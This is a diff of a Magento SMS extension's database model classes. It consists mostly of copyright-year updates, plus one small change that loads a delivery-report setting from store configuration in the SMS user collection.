app/code/community/Topefekt/Magesms/Model/Mysql4/Country/Lang.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Country_Lang extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/country_lang', 'ID'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Country_Lang extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/country_lang', 'ID'); } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Country/Lang/Collection.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Country_Lang_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/country_lang'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Country_Lang_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/country_lang'); } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Exceptions.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Exceptions extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/exceptions', 'id'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Exceptions extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/exceptions', 'id'); } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Exceptions/Collection.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Exceptions_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/exceptions'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Exceptions_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/exceptions'); } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Hooks.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Hooks extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/hooks', 'id'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Hooks extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/hooks', 'id'); } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Hooks/Admins.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Hooks_Admins extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/hooks_admins', 'id'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Hooks_Admins extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/hooks_admins', 'id'); } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Hooks/Admins/Collection.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Hooks_Admins_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/hooks_admins'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Hooks_Admins_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/hooks_admins'); } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Hooks/Collection.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Hooks_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/hooks'); $this->_map['fields']['group'] = '`group`'; } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Hooks_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/hooks'); $this->_map['fields']['group'] = '`group`'; } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Hooks/Customers.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Hooks_Customers extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/hooks_customers', 'id'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Hooks_Customers extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/hooks_customers', 'id'); } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Hooks/Customers/Collection.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Hooks_Customers_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/hooks_customers'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Hooks_Customers_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/hooks_customers'); } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Hooks/Templates.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Hooks_Templates extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/hooks_templates', 'id'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Hooks_Templates extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/hooks_templates', 'id'); } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Hooks/Templates/Collection.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Hooks_Templates_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/hooks_templates'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Hooks_Templates_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/hooks_templates'); } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Hooks/Unicode.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Hooks_Unicode extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/hooks_unicode', 'id'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Hooks_Unicode extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/hooks_unicode', 'id'); } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Hooks/Unicode/Collection.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Hooks_Unicode_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/hooks_unicode'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Hooks_Unicode_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/hooks_unicode'); } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Maps.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Maps extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/maps', 'id'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Maps extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/maps', 'id'); } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Maps/Collection.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Maps_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/maps'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Maps_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/maps'); } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Marketing/Filter.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Marketing_Filter extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/marketing_filter', 'id'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Marketing_Filter extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/marketing_filter', 'id'); } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Marketing/Filter/Collection.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Marketing_Filter_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/marketing_filter'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Marketing_Filter_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/marketing_filter'); } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Optout/Order.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Optout_Order extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/optout_order', 'id'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Optout_Order extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/optout_order', 'id'); } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Optout/Order/Collection.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Optout_Order_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/optout_order'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Optout_Order_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/optout_order'); } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Ownnumbersender.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Ownnumbersender extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/ownnumbersender', 'id'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Ownnumbersender extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/ownnumbersender', 'id'); } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Ownnumbersender/Collection.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Ownnumbersender_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/ownnumbersender'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Ownnumbersender_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/ownnumbersender'); } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Routes.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Routes extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/routes', 'ID'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Routes extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/routes', 'ID'); } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Routes/Alternative.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Routes_Alternative extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/routes_alternative', 'id'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Routes_Alternative extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/routes_alternative', 'id'); } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Routes/Alternative/Collection.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Routes_Alternative_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/routes_alternative'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Routes_Alternative_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/routes_alternative'); } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Routes/Collection.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Routes_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/routes'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Routes_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/routes'); } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Smshistory.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Smshistory extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/smshistory', 'ID'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Smshistory extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/smshistory', 'ID'); } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Smshistory/Collection.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Smshistory_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/smshistory'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Smshistory_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/smshistory'); } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Smsuser.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Smsuser extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/smsuser', 'ID'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Smsuser extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/smsuser', 'ID'); } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Smsuser/Collection.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
- class Topefekt_Magesms_Model_Mysql4_Smsuser_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/smsuser'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
+ class Topefekt_Magesms_Model_Mysql4_Smsuser_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/smsuser'); } protected function _afterLoad() { foreach ($this->getItems() as $i705fa7c9639d497e1179d7d5691c212668a8c9c8) $i705fa7c9639d497e1179d7d5691c212668a8c9c8->setData('deliveryReportsErrorOnly', Mage::getStoreConfig('magesms/user/deliveryReportsErrorOnly')); return parent::_afterLoad(); } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Template.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Template extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/template', 'id'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Template extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/template', 'id'); } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Template/Collection.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
